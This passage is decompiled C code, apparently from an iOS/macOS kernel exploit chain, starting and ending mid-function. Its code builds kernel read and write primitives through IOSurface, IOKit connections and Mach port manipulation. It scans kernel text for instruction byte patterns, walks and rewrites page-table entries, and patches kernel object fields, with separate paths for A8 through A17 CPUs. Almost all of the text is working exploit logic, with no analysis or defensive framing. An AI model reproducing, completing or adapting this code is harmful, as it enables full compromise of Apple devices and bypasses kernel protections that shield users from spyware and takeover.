                            v98 = 0;
LABEL_188:
                            v102 = 1;
                          }
                          else
                          {
                            theDictb = *(CFMutableDictionaryRef *)(v4 + 13384);
                            while ( 1 )
                            {
                              v95 = v4 + 4 * v283;
                              if ( *(uint32_t *)(v95 + 12356) )
                                break;
LABEL_182:
                              v226 = v283-- <= 0;
                              if ( v226 )
                                goto LABEL_184;
                            }
                            __handlea = (uint32_t *)(v95 + 12356);
                            kobject = v95 + 11328;
                            while ( 1 )
                            {
                              v96 = *(uint32_t *)kobject;
                              LODWORD(v323) = 0;
                              memset(outputStruct, 0, sizeof(outputStruct));
                              v97 = mach_msg(outputStruct, 2, 0, 0x34u, v96, 0, 0);
                              if ( v97 )
                              {
                                v98 = v97 | 0x80000000;
                                goto LABEL_188;
                              }
                              v98 = 163885;
                              if ( (outputStruct[0].msgh_bits & 0x80000000) == 0 )
                                goto LABEL_187;
                              if ( outputStruct[1].msgh_bits != 1 )
                                goto LABEL_187;
                              v98 = 163886;
                              if ( HIBYTE(outputStruct[1].msgh_local_port) != 1 )
                                goto LABEL_187;
                              v99 = *(uint64_t *)&outputStruct[1].msgh_size;
                              if ( !*(uint64_t *)&outputStruct[1].msgh_size )
                                goto LABEL_187;
                              msgh_voucher_port = outputStruct[1].msgh_voucher_port;
                              if ( !outputStruct[1].msgh_voucher_port )
                              {
                                v98 = 163886;
LABEL_187:
                                mach_msg_destroy(outputStruct);
                                goto LABEL_188;
                              }
                              *(uint64_t *)&outputStruct[1].msgh_size = 0;
                              outputStruct[1].msgh_voucher_port = 0;
                              mach_msg_destroy(outputStruct);
                              v101 = *((uint64_t *)theDictb + 2);
                              --*__handlea;
                              if ( v101 >= v99 && v101 < msgh_voucher_port + v99 )
                                break;
                              vm_deallocate(mach_task_self_, v99, msgh_voucher_port);
                              if ( !*__handlea )
                                goto LABEL_182;
                            }
                            v102 = 0;
                            v98 = 0;
                            *(uint64_t *)(v4 + 11312) = v99;
                            *(uint64_t *)(v4 + 11320) = msgh_voucher_port;
                          }
                          if ( ((unsigned __int8)v102 & (v98 == 0)) != 0 )
                            v10 = 708625;
                          else
                            v10 = v98;
                          if ( (uint32_t)v10 != 708625 )
                          {
                            if ( !(uint32_t)v10 )
                              *(uint64_t *)(v4 + 11288) = v304;
                            goto LABEL_196;
                          }
                          goto LABEL_128;
                        }
                      }
                    }
                  }
                }
                *(uint64_t *)&v83 |= v84;
                *__handle = v83;
              }
            }
            ++v80;
          }
          while ( v80 != v79 );
        }
        else
        {
          v83 = *__handle;
        }
        v92 = (uint8x8_t)vcnt_s8(v83);
        v92.i16[0] = vaddlv_u8(v92);
      }
      while ( (uint32_t)v79 != v92.i32[0] );
      v93 = check_physmap_page_count((uint32_t *)v4, (__int64)v64);
      if ( v93 )
        v69 = 40;
      else
        v69 = 41;
      if ( v93 )
        v10 = v93;
      else
        v10 = 708625;
LABEL_129:
      if ( v69 == 40 )
        goto LABEL_196;
      v257 = v62++ >= 0xF;
      if ( v257 )
        goto LABEL_196;
      continue;
    }
    break;
  }
  v10 = 708609;
LABEL_196:
  v103 = *(uint32_t *)(v4 + 13440);
  if ( v103 )
  {
    v104 = 0;
    v105 = *(uint64_t *)(v4 + 13432);
    do
    {
      v106 = *(uint32_t *)(v105 + 4 * v104);
      if ( v106 + 1 >= 2 )
      {
        mach_port_deallocate(mach_task_self_, v106);
        v105 = *(uint64_t *)(v4 + 13432);
        *(uint32_t *)(v105 + 4 * v104) = 0;
        v103 = *(uint32_t *)(v4 + 13440);
      }
      ++v104;
    }
    while ( v104 < v103 );
  }
  v107 = 0;
  v24 = v4 + 13480;
  do
  {
    v108 = *(uint32_t *)(v24 + v107);
    if ( v108 + 1 >= 2 )
    {
      mach_port_mod_refs(mach_task_self_, v108, 1u, -1);
      *(uint32_t *)(v24 + v107) = 0;
    }
    v107 += 4;
  }
  while ( v107 != 64 );
LABEL_205:
  if ( (uint32_t)v10 )
    return v10;
  *(uint64_t *)(v5 + 80) = v4;
  *(uint64_t *)(v5 + 48) = ioconnect_kread_physmap;
  addr_v24 = *(uint64_t *)(v4 + 11280);
LABEL_207:
  v305 = 163855;
  v10 = 163878;
  if ( !validate_kaddr_range(v5, addr_v24) )
    return v10;
  v109 = kreadptr((struct_krwCtx *)v5, addr_v24);
  if ( !v109 )
    return v10;
  *(uint64_t *)(v5 + 416) = v109;
  v110 = mach_host_self();
  ipc_port = task_self_get_ipc_port((struct_krwCtx *)v5, v110);
  if ( !ipc_port )
    return 163854;
  *(uint64_t *)(v5 + 424) = ipc_port;
  v112 = 24;
  if ( *(int *)(v5 + 320) <= 8791 )
    v113 = 24;
  else
    v113 = 16;
  if ( *(int *)(v5 + 320) <= 8791 )
    v114 = 104;
  else
    v114 = 96;
  if ( *(int *)(v5 + 320) <= 8791 )
    v112 = 16;
  v295 = v112;
  v115 = read_kaddr_at_task_offset((struct_krwCtx *)v5, addr_v24);
  if ( !v115 )
    return 163878;
  if ( !kread_physmap_decorated((struct_krwCtx *)v5, v113 + v115, (unsigned __int64 *)&outputStruct[0].msgh_bits) )
    return v305;
  v116 = *(uint64_t *)&outputStruct[0].msgh_bits;
  if ( !*(uint64_t *)&outputStruct[0].msgh_bits )
    return 708625;
  LODWORD(v10) = 708625;
  while ( 1 )
  {
    if ( !validate_kaddr_range(v5, v116) )
      goto LABEL_246;
    if ( !kread_u32(v5, *(uint64_t *)&outputStruct[0].msgh_bits + v114, a1) )
      goto LABEL_245;
    if ( a1[0] )
    {
      v117 = *(uint64_t *)&outputStruct[0].msgh_bits;
      goto LABEL_228;
    }
    if ( !kread_physmap_decorated(
            (struct_krwCtx *)v5,
            *(uint64_t *)&outputStruct[0].msgh_bits + v113,
            (unsigned __int64 *)&name.msgh_bits) )
      goto LABEL_245;
    v117 = *(uint64_t *)&outputStruct[0].msgh_bits;
    if ( *(uint64_t *)&outputStruct[0].msgh_bits == *(uint64_t *)&name.msgh_bits )
      break;
LABEL_228:
    v118 = kread_physmap_decorated((struct_krwCtx *)v5, v117 + v113, (unsigned __int64 *)&outputStruct[0].msgh_bits);
    if ( v118 )
      v10 = (unsigned int)v10;
    else
      v10 = 163855;
    if ( v118 )
    {
      v116 = *(uint64_t *)&outputStruct[0].msgh_bits;
      if ( *(uint64_t *)&outputStruct[0].msgh_bits )
        continue;
    }
    goto LABEL_247;
  }
  if ( !kread_physmap_decorated(
          (struct_krwCtx *)v5,
          *(uint64_t *)&outputStruct[0].msgh_bits + v295,
          (unsigned __int64 *)&name.msgh_bits) )
    goto LABEL_245;
  if ( !validate_kaddr_range(v5, *(__int64 *)&name.msgh_bits) )
    goto LABEL_246;
  if ( *(int *)(v5 + 320) < 8792 )
  {
LABEL_244:
    v10 = 0;
    v24 = *(uint64_t *)&name.msgh_bits;
    goto LABEL_247;
  }
  if ( kread_physmap_decorated((struct_krwCtx *)v5, *(uint64_t *)&name.msgh_bits + 8LL, (unsigned __int64 *)&name.msgh_bits) )
  {
    if ( validate_kaddr_range(v5, *(__int64 *)&name.msgh_bits) )
      goto LABEL_244;
LABEL_246:
    v10 = 163878;
  }
  else
  {
LABEL_245:
    v10 = 163855;
  }
LABEL_247:
  if ( (uint32_t)v10 )
    return v10;
  *(uint64_t *)(v5 + 6616) = v24;
  v10 = check_iogpu_krw_ready_type2(v5, 0, *(uint64_t *)(v5 + 424), (unsigned __int64 *)(v5 + 6608));
  if ( (uint32_t)v10 )
    return v10;
  v10 = init_pgtable_walk_ctx(v5, 0);
  if ( (uint32_t)v10 )
    return v10;
  v120 = *(uint64_t *)(v5 + 344);
  if ( v120 > XNU_VERSION_PACKED(10002, 60, 75, 0, 2) )
  {
    if ( (*(uint8_t *)v5 & 0x20) != 0 )
    {
      v10 = free_iogpu_krw_ctx(v5);
      if ( (uint32_t)v10 )
        return v10;
      v10 = krw_read_validation(v5, 0);
      if ( (uint32_t)v10 )
        return v10;
      *(uint64_t *)(v5 + 48) = 0;
      v10 = krw_write_validation((struct_krwCtx *)v5);
      if ( (uint32_t)v10 )
        return v10;
      v121 = (uint64_t *)(v5 + 64);
      goto LABEL_256;
    }
    goto LABEL_372;
  }
  if ( v120 > XNU_VERSION_PACKED(8796, 122, 4, 1023, 1023)
    || v120 >= XNU_VERSION_PACKED(8796, 102, 5, 0, 0) && ((*(uint32_t *)v5 & KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) == 0 || (*(uint32_t *)v5 & 1) != 0) )
  {
LABEL_372:
    v319[0] = 0;
    v174 = vm_page_size;
    *(uint64_t *)&outputStruct[0].msgh_bits = vm_page_size;
    *(uint64_t *)&name.msgh_bits = 0;
    memory_entry = mach_make_memory_entry(mach_task_self_, (vm_size_t *)&outputStruct[0].msgh_bits, 0, 131075, v319, 0);
    if ( !memory_entry )
    {
      v175 = get_task_kobject_addr((struct_krwCtx *)v5, v319[0]);
      v10 = 163878;
      if ( !v175 )
        return v10;
      v176 = v175;
      v177 = kaddr_to_phys_v1(v5, v175);
      if ( !v177 )
        return v10;
      v178 = v177;
      v179 = walk_kaddr_chain_to_target((struct_krwCtx *)v5, v176, 0);
      v10 = 163878;
      if ( !v179 )
        return v10;
      v180 = v179;
      __handlec = kaddr_to_phys_v1(v5, v179);
      if ( !__handlec )
        return v10;
      v10 = map_sptm_state_page(v4);
      if ( (uint32_t)v10 )
        return v10;
      v10 = get_physmap_region_ptrs(v5, *(uint64_t *)(v4 + 11288), __handlec & ~*(uint64_t *)(v5 + 392), a1);
      if ( (uint32_t)v10 )
        return v10;
      memory_entry = vm_map(
                       mach_task_self_,
                       (vm_address_t *)&name.msgh_bits,
                       v174,
                       0,
                       1,
                       *(uint32_t *)(v4 + 13552),
                       0,
                       0,
                       3,
                       3,
                       2u);
      if ( !memory_entry )
      {
        v181 = (*(uint64_t *)(v5 + 392) & v180) + *(uint64_t *)&name.msgh_bits;
        v10 = 163893;
        if ( *(uint32_t *)v181 != *(uint32_t *)(v181 + 4) )
          return v10;
        if ( *(uint64_t *)(v181 + 24) != *(uint64_t *)&outputStruct[0].msgh_bits )
          return v10;
        v10 = get_physmap_region_ptrs(v5, v181, 0, 0);
        if ( (uint32_t)v10 )
          return v10;
        *(uint64_t *)(v181 + 24) = -1;
        memory_entry = vm_deallocate(mach_task_self_, *(vm_address_t *)&name.msgh_bits, v174);
        if ( !memory_entry )
        {
          v10 = get_physmap_region_ptrs(v5, *(uint64_t *)(v4 + 11288), v178 & ~*(uint64_t *)(v5 + 392), 0);
          if ( (uint32_t)v10 )
            return v10;
          memory_entry = vm_map(
                           mach_task_self_,
                           (vm_address_t *)&name.msgh_bits,
                           v174,
                           0,
                           1,
                           *(uint32_t *)(v4 + 13552),
                           0,
                           0,
                           3,
                           3,
                           2u);
          if ( !memory_entry )
          {
            v182 = *(uint64_t *)&name.msgh_bits;
            v183 = (*(uint64_t *)(v5 + 392) & v176) + *(uint64_t *)&name.msgh_bits;
            if ( *(uint64_t *)(v183 + 32) != *(uint64_t *)&outputStruct[0].msgh_bits )
              return 163857;
            *(uint64_t *)(v183 + 32) = -1;
            memory_entry = vm_deallocate(mach_task_self_, v182, v174);
            if ( !memory_entry )
            {
              *(uint32_t *)(v5 + 88) = v319[0];
              v10 = krw_read_validation(v5, 0);
              if ( (uint32_t)v10 )
                return v10;
              *(uint64_t *)(v5 + 80) = 0;
              *(uint64_t *)(v5 + 48) = 0;
              v10 = krw_write_validation((struct_krwCtx *)v5);
              if ( (uint32_t)v10 )
                return v10;
              goto LABEL_257;
            }
          }
        }
      }
    }
    return memory_entry | 0x80000000;
  }
  v316 = 0;
  v312 = 0;
  v184 = 288;
  if ( *(int *)(v5 + 320) > 8791 )
    v184 = 264;
  theDictd = (CFMutableDictionaryRef)v184;
  v185 = 280;
  if ( *(int *)(v5 + 320) > 8791 )
    v185 = 256;
  v280 = vm_page_size;
  v285 = v185;
  *(__int128 *)a1 = 0u;
  v321 = 0u;
  v186 = (unsigned int)ioservice_get_matching("IOSurfaceRoot");
  v10 = 163854;
  if ( v186 + 1 < 2 )
    return v10;
  v187 = v186;
  if ( IOServiceOpen(v186, mach_task_self_, 0, (io_connect_t *)a1)
    || (v297 = task_self_get_ipc_port((struct_krwCtx *)v5, a1[0])) == 0 )
  {
    v188 = 0;
    v297 = 0;
    v278 = 0;
  }
  else
  {
    v215 = 0;
    while ( 1 )
    {
      kobject = maybe_ipc_port_get_kobject((struct_krwCtx *)v5, v297);
      if ( !kobject )
      {
        v188 = 0;
        kobject = 0;
        v278 = 0;
        v10 = 163877;
        goto LABEL_402;
      }
      if ( *(unsigned int *)(v5 + 384) - (*(uint64_t *)(v5 + 392) & kobject) >= 0x200 )
      {
        v10 = 0;
        v188 = a1[v215];
        v278 = 1;
        goto LABEL_402;
      }
      if ( v215 == 7 )
      {
        v188 = 0;
        v278 = 0;
        v10 = 708625;
        goto LABEL_402;
      }
      if ( IOServiceOpen(v187, mach_task_self_, 0, (io_connect_t *)&a1[v215 + 1]) )
        break;
      v216 = task_self_get_ipc_port((struct_krwCtx *)v5, a1[++v215]);
      v297 = v216;
      if ( !v216 )
      {
        v188 = 0;
        v297 = 0;
        goto LABEL_482;
      }
    }
    v188 = 0;
LABEL_482:
    v278 = 0;
  }
  v10 = 163854;
LABEL_402:
  for ( n = 0; n != 8; ++n )
  {
    v190 = a1[n];
    if ( v190 + 1 >= 2 && v190 != v188 )
    {
      IOServiceClose(v190);
      a1[n] = 0;
    }
  }
  IOObjectRelease(v187);
  if ( !v278 )
    return v10;
  v273 = (__int64)theDictd + kobject;
  v270 = kobject + v285;
  v192 = 7;
  while ( 2 )
  {
    v279 = v192;
    outputStructCnt = 3936;
    __handled = dlopen("/System/Library/Frameworks/IOSurface.framework/IOSurface", 1);
    if ( !__handled )
      return 110593;
    v193 = (const void **)dlsym(__handled, "kIOSurfaceIsGlobal");
    if ( !v193 )
      goto LABEL_485;
    v194 = *v193;
    if ( !*v193 )
      goto LABEL_485;
    v195 = (const void **)dlsym(__handled, "kIOSurfaceWidth");
    if ( !v195 )
      goto LABEL_485;
    v196 = *v195;
    if ( !*v195 )
      goto LABEL_485;
    v197 = (const void **)dlsym(__handled, "kIOSurfaceHeight");
    if ( !v197 )
      goto LABEL_485;
    v198 = *v197;
    if ( !*v197 )
      goto LABEL_485;
    theDicte = CFDictionaryCreateMutable(0, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
    if ( !theDicte )
    {
      v6 = 708617;
LABEL_485:
      dlclose(__handled);
      return v6;
    }
    CFDictionarySetValue(theDicte, v194, kCFBooleanFalse);
    cfdict_set_int32(theDicte, v196);
    cfdict_set_int32(theDicte, v198);
    v199 = IOCFSerialize(theDicte, 1u);
    if ( v199 )
    {
      v200 = v199;
      v201 = *(uint32_t *)(v5 + 320);
      if ( v201 >= 8792 )
      {
        outputStructCnt = 2664;
        goto LABEL_427;
      }
      if ( v201 < 8019 )
      {
        v203 = 0;
        v202 = 0;
      }
      else
      {
LABEL_427:
        *(uint64_t *)v319 = 0;
        v202 = 1;
        v203 = v319;
      }
      BytePtr = CFDataGetBytePtr(v199);
      Length = CFDataGetLength(v200);
      if ( IOConnectCallMethod(
             v188,
             0,
             (const uint64_t *)v203,
             v202,
             BytePtr,
             Length,
             0,
             0,
             outputStruct,
             &outputStructCnt) )
      {
        v10 = 4097;
      }
      else
      {
        v206 = v285;
        if ( outputStruct[1].msgh_bits < 0x10000 )
          v206 = outputStruct[1].msgh_bits;
        LODWORD(v285) = v206;
        if ( outputStruct[1].msgh_bits >= 0x10000 )
          v10 = 163857;
        else
          v10 = 0;
      }
      CFRelease(v200);
    }
    else
    {
      v10 = 708617;
    }
    CFRelease(theDicte);
    dlclose(__handled);
    if ( (uint32_t)v10 )
      return v10;
    if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v5, v273, 8, &v313) )
      return 163855;
    if ( v313 <= (unsigned int)v285 )
      return 163857;
    if ( !kread_physmap_decorated((struct_krwCtx *)v5, v270, (unsigned __int64 *)&v317) )
      return 163855;
    if ( !validate_kaddr_range(v5, v317) )
      return 163878;
    if ( !kread_physmap_decorated((struct_krwCtx *)v5, v317 + (unsigned int)(8 * v285), (unsigned __int64 *)&v316) )
      return 163855;
    if ( !validate_kaddr_range(v5, v316) )
      return 163878;
    if ( !kread_physmap_decorated((struct_krwCtx *)v5, v316 + 64, (unsigned __int64 *)&v315) )
      return 163855;
    if ( !validate_kaddr_range(v5, v315) )
      return 163878;
    v207 = *(uint64_t *)(v5 + 392);
    v208 = v207 & v315;
    if ( *(unsigned int *)(v5 + 384) - (v207 & (unsigned __int64)v315) <= 0x4FF )
    {
      v192 = v279 - 1;
      if ( v279 )
        continue;
    }
    break;
  }
  pgtable_walk_wrapper(v5, v315 & ~v207, (__int64)&name);
  v10 = 163878;
  if ( !v209 )
    return v10;
  __handlee = v311;
  v210 = *(uint64_t *)(v5 + 392);
  pgtable_walk_wrapper(v5, kobject & ~v210, (__int64)&name);
  if ( !v211 )
    return v10;
  v212 = v311;
  v10 = map_sptm_state_page(v4);
  if ( (uint32_t)v10 )
    return v10;
  v10 = iokit_kwrite_via_port(
          (struct_krwCtx *)v5,
          *(uint64_t *)(v4 + 11288),
          *(uint64_t *)(v4 + 13560),
          0,
          *(uint64_t *)(v4 + 11288) + 192LL,
          *(uint64_t *)(v4 + 13560) + 192LL,
          v212 & 0xFFFFFFFFC000LL);
  if ( (uint32_t)v10 )
    return v10;
  memory_entry = vm_map(mach_task_self_, &v312, v280, 0, 1, *(uint32_t *)(v4 + 13552), 0, 0, 3, 3, 2u);
  if ( memory_entry )
    return memory_entry | 0x80000000;
  v213 = v312 + (v210 & kobject);
  v10 = 163857;
  if ( *(uint64_t *)(v213 + 88) || *(uint8_t *)(v213 + 153) )
    return v10;
  if ( !validate_kaddr_range(v5, *(uint64_t *)(v213 + 136)) )
    return 163878;
  *(uint64_t *)(v213 + 136) = kobject + 80;
  *(uint8_t *)(v213 + 153) = 64;
  memory_entry = vm_deallocate(mach_task_self_, v312, v280);
  if ( memory_entry )
    return memory_entry | 0x80000000;
  v10 = iokit_kwrite_via_port(
          (struct_krwCtx *)v5,
          *(uint64_t *)(v4 + 11288),
          *(uint64_t *)(v4 + 13560),
          1,
          *(uint64_t *)(v4 + 11288) + 192LL,
          *(uint64_t *)(v4 + 13560) + 192LL,
          __handlee & 0xFFFFFFFFC000LL);
  if ( (uint32_t)v10 )
    return v10;
  memory_entry = vm_map(mach_task_self_, &v312, v280, 0, 1, *(uint32_t *)(v4 + 13552), 0, 0, 3, 3, 2u);
  if ( memory_entry )
    return memory_entry | 0x80000000;
  *(uint32_t *)(v5 + 232) = v188;
  v214 = v312;
  *(uint64_t *)(v5 + 240) = v315;
  *(uint64_t *)(v5 + 248) = v214;
  *(uint64_t *)(v5 + 256) = v280;
  *(uint64_t *)(v5 + 264) = v208;
  *(uint32_t *)(v5 + 272) = v285;
  *(uint32_t *)(v5 + 276) = *(uint32_t *)(v4 + 13552);
  *(uint32_t *)(v4 + 13552) = 0;
  v10 = 163841;
  if ( v188 + 1 < 2 || !v214 || !v280 )
    return v10;
  if ( !(unsigned int)kread_modify_u32_with_delta(v5, v297, 16) )
    return 163856;
  *(uint64_t *)(v5 + 80) = 0;
  v121 = (uint64_t *)(v5 + 48);
LABEL_256:
  *v121 = 0;
LABEL_257:
  v122 = *(uint64_t *)(v5 + 424);
  if ( !v122 )
    return 163848;
  if ( !kread_u32(v5, v122, outputStruct) || (outputStruct[0].msgh_bits & 0x3FF) - 3 >= 2 )
    return v305;
  v123 = *(uint32_t *)(v4 + 13856);
  if ( !v123 )
  {
LABEL_270:
    v10 = 0;
    goto LABEL_271;
  }
  v124 = 0;
  v125 = v4 + 13600;
  while ( 2 )
  {
    v126 = *(uint32_t *)(v125 + 4 * v124);
    if ( v126 + 1 < 2 )
    {
LABEL_269:
      if ( ++v124 >= (unsigned __int64)v123 )
        goto LABEL_270;
      continue;
    }
    break;
  }
  v127 = get_task_kobject_addr((struct_krwCtx *)v5, *(uint32_t *)(v125 + 4 * v124));
  if ( !v127 )
  {
    v10 = 163848;
    goto LABEL_271;
  }
  v128 = walk_kaddr_chain_to_target((struct_krwCtx *)v5, v127, 1);
  if ( !v128 )
  {
    v10 = 163878;
    goto LABEL_271;
  }
  v129 = v128 + 56;
  if ( !kread64_internal((struct_krwCtx *)v5, v128 + 56, outputStruct) )
  {
    v10 = 163855;
    goto LABEL_271;
  }
  if ( !*(uint64_t *)&outputStruct[0].msgh_bits || kwrite_physmap_with_a3_ptr(v5, v129, 0) )
  {
    mach_port_deallocate(mach_task_self_, v126);
    *(uint32_t *)(v125 + 4 * v124) = 0;
    v123 = *(uint32_t *)(v4 + 13856);
    goto LABEL_269;
  }
  v10 = 163856;
LABEL_271:
  v130 = 0;
  *(uint32_t *)(v4 + 13856) = 0;
  __handleb = (char *)(v4 + 192);
  v131 = v4 + 64;
  while ( 2 )
  {
    theDictc = (CFMutableDictionaryRef)(v4 + 688 * v130 + 16);
    v293 = *(uint64_t *)theDictc;
    if ( *(uint64_t *)theDictc )
    {
      v296 = *(uint64_t *)(v4 + 688 * v130 + 32);
      if ( v296 )
      {
        v132 = v4 + 688 * v130;
        v272 = *(uint32_t *)(v132 + 56);
        v284 = *(uint64_t *)(v132 + 24);
        if ( *(uint32_t *)v4 == 3 )
        {
          v133 = *(uint32_t *)(v4 + 688 * v130 + 52);
          if ( v133 + 1 >= 2 )
          {
            v136 = get_task_kobject_addr((struct_krwCtx *)v5, v133);
            if ( !v136 )
            {
              v10 = 163848;
              break;
            }
            v137 = walk_kaddr_chain_to_target((struct_krwCtx *)v5, v136, 1);
            if ( !v137 )
            {
LABEL_488:
              v10 = 163878;
              break;
            }
            v138 = v137 + 56;
            if ( !kread64_internal((struct_krwCtx *)v5, v137 + 56, outputStruct) )
            {
LABEL_487:
              v10 = 163855;
              break;
            }
            if ( *(uint64_t *)&outputStruct[0].msgh_bits && !kwrite_physmap_with_a3_ptr(v5, v138, 0) )
            {
LABEL_370:
              v10 = 163856;
              break;
            }
          }
          else
          {
            v134 = traverse_sptm_pgtable_chain((uint32_t *)v5, mach_task_self_, v293);
            if ( !v134 )
            {
              v10 = 163857;
              break;
            }
            v135 = v134 + 56;
            if ( !kread64_internal((struct_krwCtx *)v5, v134 + 56, outputStruct) )
              goto LABEL_487;
            if ( *(uint64_t *)&outputStruct[0].msgh_bits && !kwrite_physmap_with_a3_ptr(v5, v135, 0) )
              goto LABEL_370;
            if ( v284 )
              *(uint32_t *)(v284 + v293) = 0;
          }
        }
        if ( !krw_ctx_has_flag((struct_krwCtx *)v5, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) )
        {
          outputStructCnt = 0;
          has_flag = krw_ctx_has_flag((struct_krwCtx *)v5, KRW_CTX_FLAG_CPU_A8);
          if ( has_flag )
          {
            v265 = 0xFFFFFFFFF000LL;
            v267 = 4095;
            v277 = 4096;
          }
          else
          {
            v277 = *(unsigned int *)(v5 + 384);
            v265 = 0xFFFFFFFFC000LL;
            v267 = *(uint64_t *)(v5 + 392);
          }
          v151 = *(uint64_t *)(v4 + 13568);
          if ( v151 && *(uint64_t *)(v4 + 13576) )
          {
            *(uint64_t *)v319 = *(uint64_t *)(v4 + 13576);
            *(uint64_t *)a1 = v151;
          }
          else
          {
            resolve_kernel_text_range(&name, (struct_krwCtx *)v5);
            outputStruct[0] = name;
            if ( has_flag )
              v152 = "29 01 00 8A .. .. .. .. .. .. .. .. 29 01 0A CB";
            else
              v152 = "08 7C 72 92 .. .. .. .. .. .. .. .. 08 01 09 CB";
            v153 = kernel_pattern_scan((__int64)&name, v152, 0);
            if ( !v153 )
              goto LABEL_499;
            v154 = find_kernel_func(*(__int64 **)(v5 + 6648), (__int64 *)(v153 + 4));
            *(uint64_t *)a1 = v154;
            if ( !v154 )
              goto LABEL_499;
            if ( !kread64_internal((struct_krwCtx *)v5, v154, a1) )
              goto LABEL_495;
            if ( !*(uint64_t *)a1
              || (v155 = find_kernel_func(*(__int64 **)(v5 + 6648), (__int64 *)(v153 + 20)), (*(uint64_t *)v319 = v155) == 0) )
            {
              v6 = 163878;
              goto LABEL_499;
            }
            if ( !kread_physmap_decorated((struct_krwCtx *)v5, v155, (unsigned __int64 *)v319) )
            {
LABEL_495:
              v6 = 163855;
LABEL_499:
              v10 = v6;
              break;
            }
            if ( !validate_kaddr_range(v5, *(__int64 *)v319) )
            {
              v6 = 163878;
              goto LABEL_499;
            }
            *(uint64_t *)(v4 + 13568) = *(uint64_t *)a1;
            *(uint64_t *)(v4 + 13576) = *(uint64_t *)v319;
          }
          if ( v284 )
          {
            v156 = 0;
            v263 = 0;
            v157 = 0;
            do
            {
              if ( v157 && (v157 & (unsigned __int64)v267) + 8 < v277 )
              {
                v157 += 8;
                if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v5, v157, 8, &v317) )
                  goto LABEL_487;
                v158 = v317;
              }
              else
              {
                *(uint64_t *)&outputStruct[0].msgh_bits = 0;
                *(uint64_t *)&name.msgh_bits = 0;
                v159 = krw_ctx_has_flag((struct_krwCtx *)v5, KRW_CTX_FLAG_CPU_A8);
                v160 = 0xFFFFFFFFF000LL;
                if ( !v159 )
                  v160 = 0xFFFFFFFFC000LL;
                v269 = v160;
                v161 = task_struct_field_kread((struct_krwCtx *)v5, mach_task_self_);
                if ( !v161 )
                  goto LABEL_488;
                if ( !kread_physmap_decorated((struct_krwCtx *)v5, v161, (unsigned __int64 *)&outputStruct[0].msgh_bits) )
                  goto LABEL_487;
                if ( (!*(uint64_t *)(v5 + 6256) || !*(uint64_t *)(v5 + 6264)) && !(unsigned int)init_kread_pattern_addrs((uint64_t *)v5) )
                {
                  v10 = 163843;
                  goto LABEL_500;
                }
                valuea = v293 + v156;
                v162 = *(uint64_t *)&outputStruct[0].msgh_bits;
                if ( v159 )
                {
                  v163 = valuea >> 30;
                  v164 = 255;
                }
                else
                {
                  v165 = krw_ctx_has_flag((struct_krwCtx *)v5, KRW_CTX_FLAG_CPU_A16_A17_MASK | KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER);
                  v163 = 2047;
                  if ( !v165 )
                    v163 = 7;
                  v164 = valuea >> 36;
                }
                if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v5, v162 + 8 * (v163 & v164), 8, &name) )
                  goto LABEL_487;
                if ( (~LOBYTE(name.msgh_bits) & 3) != 0 )
                  goto LABEL_363;
                v166 = translate_physmap_addr_via_segments(v5, *(uint64_t *)(v5 + 6256), *(uint64_t *)(v5 + 6264), *(uint64_t *)&name.msgh_bits & v269);
                if ( !v166 )
                  goto LABEL_488;
                v167 = (valuea >> 21) & 0x1FF;
                if ( !v159 )
                  v167 = (valuea >> 25) & 0x7FF;
                if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v5, v166 + 8 * v167, 8, &name) )
                  goto LABEL_487;
                if ( (~LOBYTE(name.msgh_bits) & 3) != 0 )
                {
LABEL_363:
                  v157 = 0;
                  goto LABEL_364;
                }
                v263 = *(uint64_t *)&name.msgh_bits & v269;
                v168 = translate_physmap_addr_via_segments(v5, *(uint64_t *)(v5 + 6256), *(uint64_t *)(v5 + 6264), *(uint64_t *)&name.msgh_bits & v269);
                if ( !v168 )
                  goto LABEL_488;
                v169 = (valuea >> 12) & 0x1FF;
                if ( !v159 )
                  v169 = (valuea >> 14) & 0x7FF;
                v157 = v168 + 8 * v169;
                if ( !(unsigned int)krw_read_thunk((struct_krwCtx *)v5, v157, 8, &name) )
                  goto LABEL_487;
                v158 = *(uint64_t *)&name.msgh_bits;
                v317 = *(uint64_t *)&name.msgh_bits;
              }
              if ( !v158 )
                goto LABEL_364;
              v170 = v158 & v265;
              if ( !v170 )
                goto LABEL_364;
              if ( !(unsigned int)krw_read_thunk(
                                    (struct_krwCtx *)v5,
                                    8LL * (unsigned int)((unsigned __int64)(v170 - *(uint64_t *)a1) >> vm_page_shift)
                                  + *(uint64_t *)v319,
                                    8,
                                    &v316) )
                goto LABEL_487;
              v171 = v316 & 3;
              if ( (v316 & 3) != 0 )
              {
                if ( v171 == 2 )
                {
                  v172 = v293 + v156;
                  if ( (v316 & 0xFFFFFFFFFFFCLL | 0xFFFF000000000000LL) == v157 - (((v293 + v156) >> 9) & 0x18) )
                    goto LABEL_364;
                  goto LABEL_367;
                }
                if ( v171 != 3 )
                  goto LABEL_364;
              }
              v172 = v293 + v156;
LABEL_367:
              if ( (*(uint64_t *)(v5 + 392) & v172) == 0 )
              {
                v173 = setup_vm_for_kwrite(v5, v4, v263);
                if ( (uint32_t)v173 )
                {
                  v10 = v173;
                  goto LABEL_500;
                }
              }
              if ( !(unsigned int)kwrite_with_retry(v5, v157, (__int64)&outputStructCnt, 8) )
                goto LABEL_370;
LABEL_364:
              v156 += v277;
            }
            while ( v156 < v284 );
          }
        }
        v139 = vm_deallocate(mach_task_self_, v293, v296);
        if ( v139 || v272 + 1 > 1 && (v139 = mach_port_deallocate(mach_task_self_, v272)) != 0 )
        {
          v10 = v139 | 0x80000000;
          break;
        }
        for ( ii = 0; ii != 512; ii += 8 )
        {
          v141 = *(uint64_t *)&__handleb[ii];
          if ( v141 )
          {
            vm_deallocate(mach_task_self_, v141, vm_page_size);
            *(uint64_t *)&__handleb[ii] = 0;
          }
        }
        for ( jj = 0; jj != 128; jj += 8 )
        {
          v143 = *(uint64_t *)(v131 + jj);
          if ( v143 )
          {
            vm_deallocate(mach_task_self_, v143, v296);
            *(uint64_t *)(v131 + jj) = 0;
          }
        }
        bzero(theDictc, 0x2B0u);
        v10 = 0;
      }
    }
    v144 = 0;
    v145 = 1;
    while ( 2 )
    {
      v146 = v145;
